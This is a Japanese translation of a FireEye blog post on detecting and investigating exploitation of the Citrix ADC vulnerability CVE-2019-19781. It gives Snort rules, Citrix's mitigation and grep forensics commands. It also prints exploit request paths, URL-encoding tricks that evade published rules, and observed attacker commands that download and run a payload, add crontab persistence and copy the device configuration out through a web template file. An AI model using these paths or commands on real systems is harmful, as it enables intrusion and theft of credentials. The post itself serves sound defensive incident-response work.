ブログ(製品・サービス関連)

200 OKを約束します(CVE-2019-19781)

2019年12月17日、Citrix Application Delivery Controller(ADC)およびCitrix Gatewayの脆弱性を特定したセキュリティ情報「CTX267027」が公開されました。この脆弱性(CVE-2019-19781)では、認証されていない攻撃者がディレクトリ・トラバーサルを介して、任意のコードをリモートから実行できます。脆弱性スコアは9.8、Criticalと判断されました。2020年1月8日、TripwireはCVEについて非常に詳細な説明を提供しました。一読することをお勧めします。

この背景に基づいて、多くの攻撃セキュリティ専門家は、CVE-2019-19781の利用について説明しましたが、攻撃コードを非公開にする計画を示し、防御者にスキャナーを提供することにしました。しかし、2020年1月10日、FireEyeは、この脆弱性の悪用を支援、自動化する、概念実証(PoC)コードを含むコード・リポジトリが公開されたことを観察しました。この時点で、複数の有名なセキュリティ専門家が、以前は非公開としていたツールをリリースしました。1月10日夜の時点で、FireEyeネットワーク・アプライアンス・テレメトリーは、Torなどの匿名化ツールや既知のブラックリスト化されているIPアドレスから脆弱なCitrixインスタンスの偵察活動があることを示しました。他の組織も同様の傾向を示すハニーポット・データを公開して共有しています。その後間もなく、被害者組織への足がかりを得るために、このエクスプロイトを悪用したバージョンが使用されたことを観察しました。図1は、この脆弱性が成熟していくタイムラインの概略です。


図1:主要な脆弱性イベントの概略

このブログ記事の投稿時点(2020年1月14日PST)において、FireEye Mandiantインシデントレスポンス・チームは、この脆弱性の悪用が最初の足がかりであると思われる複数のインシデントに対応しています。FireEye Managed Defense SOCもまた、侵入ベクトルとしてこの脆弱性を用いた試みを観察しました。FireEyeの検知は、主に脆弱なシステムを期待したスキャンに集中していましたが、旅行、法律、金融、教育の各分野では、何度も繰り返して攻撃が試みられていることを確認しています。

この脆弱性に対するCitrixの緩和策を実施することを強くお勧めします。Citrixはまた、影響のある製品へのパッチ提供のスケジュールを発表し、2020年1月20日から提供開始の予定です。

FireEyeからも、脆弱性の影響を受けるデバイスのダブルチェックをお勧めします。境界アプライアンスは多くの場合、ネットワーク・セキュリティ監視ツールの外側に配置されるため、ネットワーク・セキュリティ監視の有効性を制限してしまいます。その上、これらの攻撃は暗号化されたチャネル上で実行される可能性があり、可視性がさらに制約を受けます。

テクニックや検知を気にしない

残念ながら、多くのネットワークベースのエクスプロイトは暗号化などの活用によって、ネットワーク・セキュリティ監視を妨げる可能性があります。しかしながら、トラフィックが平文状態である場合、Snortなどの検知エンジンは非常に有効なツールです。できるだけ徹底的に検知するために、FireEyeでは、まず公開済みの検知ルールを利用して、エクスプロイトの試みを探すことから始めました。ディレクトリ・トラバーサルや、よく悪用されるPerlスクリプトへのアクセスを含んだ、POSTエクスプロイトの例を以下に示します。

POST /vpn/../vpns/portal/scripts/newbm.pl

最初に解析した多数のルールは、次の2つの要素を利用していました。

  • エクスプロイト用特定のURI (/vpns/)
  • ディレクトリ・トラバーサル (“/.../”)

この2つのロジックを分割して、ルールをまとめます。

最初のルールでは、ディレクトリ・トラバーサルのスラッシュが重複する可能性を考慮して負のdistance値を使用します(http_uriは、この機能を持たないレガシー環境もあるため、ここでは使用しません)。

content:"POST "; depth:5; content:"/../"; within:100; 
content:"/vpns/"; distance:-1; nocase;

私たちは、自らの検知手法のすり抜けを検討するべく、ラボの設定を変更することにしました。まず、インスタンスが脆弱であることをGETリクエストで確認しましょう。


図2:smb.confの取得に成功したcurlコマンドのPCAPの一部

一部のセキュリティ研究者は、HTTP HEADメソッドによるスキャナーをポストしています。これにより、機密情報の漏洩を避けることができます(また、テストに必要な帯域幅を制限します!)。この手法には、Robert (@x1sec)citrixmash_scannerをお勧めします。

私たちは早い段階で、公開されている多くのルールセットが/vpns/;で大文字と小文字を区別していることに気づきました。つまり、Snortのnocase演算子は存在しません。したがって、この攻撃が大文字と小文字を区別するかどうか確認しました(ディレクトリ・トラバーサルなので区別されるであろうと想定はしていましたが)。


図3:脆弱性が大文字と小文字を区別することを示すPCAPの抜粋

実際、大文字と小文字は区別されます!

次のテストでは、基本的なASCIIテキストを拡張しました。つまり、リクエストの一部を、検知ロジックを回避する文字エンコーディングに変換できるのかを調べます。これは、公開済みで配布されたルールをすり抜ける可能性があります。さらに、2020年1月12日に、被害者環境にマルウェアを展開するためにURLエンコード文字列を利用している攻撃グループを観察しました。以下のリクエストは、攻撃者が最初に送信してきたものです。

POST
/vpn/js/%2e%2e/%2e%2e/vpns/portal/scripts/newbm.pl/OfYPWcX3Zl1NIxQQ7ZpL7kCHDSiCEuuf.pl

続いて(2つのディレクトリ・トラバーサルに注意):

GET
/vpn/js/%2e%2e/%2e%2e/vpns/portal/OfYPWcX3Zl1NIxQQ7ZpL7kCHDSiCEuuf.xml

このアクティビティにヒントを得て、さらにテストを続けました。テストでは、トラバーサルとリソース・アクセスの両方にエンコードされた文字列を使うことができることが示されました。


図4:文字エンコード活用の成功を示すHTTPログの抜粋

この時点で、これらの要素に配慮したSnortルールを検討しました。検知シグネチャーに組み込むロジックが多いほど、検知にかかる計算上のコストは高くなりがちです。さらに、多くの攻撃グループは、きつ過ぎる検知ルールの回避に長けています。幸いなことに、Citrixはすでにこの件の対応策を示しています。

Citrixの緩和策を実装したところ、上記のバイパス手法が機能しなくなりました。脆弱なデバイスに入力される以下の緩和策のコマンドには、現在のエクスプロイトを軽減するための、おそらく最も重要な手順が含まれています。

add responder policy ctx267027
"HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") &&
(!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))"
respondwith403

これらの軽減手順で使用されるDECODE_USING_TEXT_MODE関数の詳細については、CitrixのAdvanced Policy Expression Referenceを参照してください。

* DECODE_USING_TEXT_MODE

Decodes the selected text using the currently configured text encoding methods like URLENCODED, BACKSLASH_ENCODED, PLUS_AS_SPACE, NOURLENCODED, NO_BACKSLASH_ENCODED and NO_PLUS_AS_SPACE. Text encoding methods are set using SET_TEXT_MODE method.

このCitrixの機能のおかげで、文字の難読化によって緩和策が回避される心配はなくなりました。ただし前段による初期検知はすり抜けられる可能性があります。

パケットアップ、パケットイン:Snortルールセクション

すべての難読化や置き換え方法を網羅することはできないものの、ここではより効果的なルールを検討します。あるルールを他のルールが先にマッチすることに依存させる仕組みはflowbitsで実現できます。たとえば、侵入を検知するにはまず以下のようにsetを使います。

flow:established,to_server; flowbits:set,cve201919781;

そして任意のフォローアップルールでflowbitを使用することができます。たとえば、次のようにして、成功したエクスプロイトのレスポンスを探します。

flow:established,to_server; flowbits:isset,cve201919781;

組織向けのスキャンが激しい場合は、内向けスキャンに対応するルールにflowbits:noalertを設定することで、侵入に成功した場合にのみアラートを発するようにできます。これまでの攻撃パターンを鑑みて、.xmlファイルに対するGET/HEAD/OPTIONリクエストにnoalertつきのflowbitを設定することもできますが、上記の通り、難読化などによって攻撃リクエストを捕まえるのが難しいかもしれません。幸いなことに、今回の脆弱性におけるサーバーからの応答は独特で、flowbitsを使うまでもありません。

これらのすべての要素を組み上げて、以下のルールに到達します。

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential CVE-2019-19781 vulnerable .CONF response"; flow:established,to_client; content:"HTTP/1."; depth:7; content:"200 OK"; distance:1; content:"|0d0a|Server: Apache"; distance:0; content:"al]|0d0a|"; distance:0; content:"encrypt passwords"; distance:0; content:"name resolve order"; reference:cve,2019-19781; reference:url,https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html; sid:201919781; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential CVE-2019-19781 vulnerable .PL response"; flow:established,to_client; content:"HTTP/1."; depth:7;
content:"200 OK"; distance:1; content:"|0d0a|Server: Apache"; distance:0; content:"|0d0a|Connection: Keep-Alive"; content:"|0d0a0d0a3c48544d4c3e0a3c424f44593e0a3c534352495054206c616e67756167653d6
a61766173637269707420747970653d746578742f6a6176617363726970743e0a2f2f706172656e74
2e77696e646f772e6e735f72656c6f616428293b0a77696e646f772e636c6f736528293b0a3c2f534
3524950543e0a3c2f424f44593e0a3c2f48544d4c3e0a|"; reference:cve,2019-19781; reference:url,https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html; sid:201919781; rev:1;)

最初のシグネチャーは、citrixmash_scannerで使用されているレスポンスサイズ手法と類似しています。

検知ルールの作成は、防御者が既知の脅威に対する防御を築くために習得できる最も重要なスキルの1つです。ただし、きつ過ぎる検知ルールはバイパスされる可能性が高くなり、一方でゆる過ぎる検知ルールは、大量の誤検知を誘発する可能性があります。検知ルールを書くときには、上記のflowbitやcontentの文字列で行ったように、解析する順序と同じ順序でデータを構成する方法を探すことをお勧めします。実際、私たちは、成功したエクスプロイトを検知する、独創的なルールを見たいと思っています。私たちのルールはこちらのテスト環境固有のものである可能性があるのと、現時点ではまだネットワーク・センサーからデータを収集中であるためです。

ルール作成を支援するために、このブログの記事では以下のPCAPを共有します。

  • .confファイルに対するGETリクエストで、200 OKが返されるか確認
  • 公開されているツールを使用した、POSTリクエストによる脆弱性の悪用

·       公開されているツールを使用した、POSTリクエストによる脆弱性の悪用

Snortなし、手がかりなし:問題なし

ここでは、侵害後の活動と調査のヒントについて、いくつかの知見を提供します。

このエクスプロイトが組織の環境で使用された疑いがあり、ネットワーク・セキュリティ監視が行われていない場合、このエクスプロイトに関連付けられている主要な痕跡を保存するためのフォレンジック手順があります。NetScalerデバイスに組み込まれているWebサーバーはApacheで、フォレンジック解析に使用できる最低水準のログを提供します。

現在のMandiant IR調査中に、被害者サーバーのHTTPアクセスログ(/var/log/httpaccess.log)内のエクスプロイトの痕跡を特定するために、次の簡単なgrep検索を作りました。

grep -iE 'POST.*\.pl HTTP/1\.1\" 200 ' /var/log/httpaccess.log -A 1
grep -iE 'GET.*\.xml HTTP/1\.1\" 200' /var/log/httpaccess.log -B 1

これらのgrep検索では、この脆弱性に対する最新の変更、たとえば、悪用のために追加のPerlスクリプトを活用するものや、初期アクセスのためにXMLファイルをダウンロードするものなどもキャプチャされます。

Mandiantのインシデント対応担当者は、CVE-2019-19781を悪用する少なくとも1つのグループが、最初のPost-Exploitation活動の一部として、持続性をcrontabに追加することを指摘しました。この行動は複数のクライアントで確認しています。

pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init; curl -k hxxps://95.179.163[.]186/wp-content/uploads/2018/09/8b6cebb4e5712e3433d0e32e61d535dd -o /tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo "* * * * * /var/nstmp/.nscache/httpd" | crontab -; /tmp/.init/httpd &"

cronジョブは、侵害された可能性のあるWordpressインスタンスでホストされている不正なペイロードをダウンロードし、httpdとしてディスクに保存する、永続的な方法を提供します。Mandiantチーム以外でも、インシデント対応中に同様の活動を指摘しています。

この特定の日和見主義の攻撃グループはnsconfigをダミーのnetscalerテンプレート・ファイルに追加して盗取することも確認されています。

cat /nsconfig/ns.conf >>/netscaler/portal/templates/<dummy file>.xml
ls -la cat /nsconfig/ >>/netscaler/portal/templates/<dummy file>.xml

また、侵害後の活動の一部の証拠を始末します。自動化されたスクリプトを使用している可能性があります。

rm /netscaler/portal/templates/<dummy file>.xml

cronジョブのほか、システムトリアージ中にキャプチャするべき他の貴重なライブのレスポンス・データには、実行プロセス(nobodyユーザーによって起動されたプロセスを探すこと)、攻撃者が実行したコマンドのキャプチャ(たとえばbash.log)、およびPost-Exploitation中にドロップされた他のファイルを含みます。TrustedSec(別名UNC1194)で、調査担当者から提供された最初のフォレンジックの痕跡の調査内容や、x1secのCVE-2019-19781 DFIR Notesを一読されることを強くお勧めします。ノイズはそのノイズに隠れた攻撃者とともにやってきます。攻撃者がますます高度化すると、この脆弱性が悪用されて影響力の大きい侵入攻撃が実行される可能性があります。そのため、詳細な解析を実行し、必要に応じて専門知識を増強できるよう模索することをお勧めします。

謝辞

最も早い検知手法を提供してくれたRick Cole、そして、このブログのために情報を提供してくれたMandiantインシデント対応担当者、特にAustin BakerBrandan Schondorfer、John Prietoに感謝します。また、この脆弱性へ対応したり、クライアント環境を保護したりしているすべてのコンサルタントに感謝いたします。このブログの情報内容の改善とツールのタイムラインに力を貸してくれた脆弱性インテリジェンス・チームのNicholas Luedtkeにも感謝します。

また、TrustedSecのみなさんにも謝辞を述べたいと思います。便利なスキャナーを共有し、その後、エクスプロイトコードと検知手法を迅速に提供していただきました。

CVE-2019-19781に対応するすべての防御者の幸運を祈っています。私たちは、嬉しいときも悲しいときも、Citrixと健康において、最前線で皆とともにあらんことを約束します。

 

本ブログは、米FireEyeが公開した「Rough Patch: I Promise It'll Be 200 OK (Citrix ADC CVE-2019-19781)」(英語)の日本語抄訳版です。

日本語版:Reviewed by Takahiro Sajima